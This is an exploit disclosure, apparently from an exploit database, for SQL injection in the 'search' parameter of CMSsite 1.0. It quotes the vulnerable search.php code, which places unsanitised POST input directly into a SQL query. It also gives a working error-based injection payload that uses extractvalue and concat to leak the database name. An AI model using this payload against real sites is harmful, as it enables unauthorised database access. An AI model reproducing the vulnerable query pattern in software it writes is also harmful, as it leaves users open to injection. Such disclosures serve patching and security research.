CMSsite 1.0 - 'search' SQL Injection

# Exploit Title: CMSsite 1.0 - 'search' SQL injection
# Exploit Author : Majid kalantari ([email protected])
# Date: 2019-01-27
# Vendor Homepage : https://github.com/VictorAlagwu/CMSsite
# Software link: https://github.com/VictorAlagwu/CMSsite/archive/master.zip
# Version: 1.0
# Tested on: Windows 10
# CVE: N/A
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# vulnerable file: search.php
# vulnerable parameter : POST - search

if (isset($_POST['submit'])) {
    $search = $_POST["search"];
}
$query = "SELECT * FROM posts WHERE post_tags LIKE '%$search%' AND
post_status='publish'";
$search_query = mysqli_query($con, $query);

# payload on search text box: ' and
extractvalue(1,concat(':',database(),':'))#

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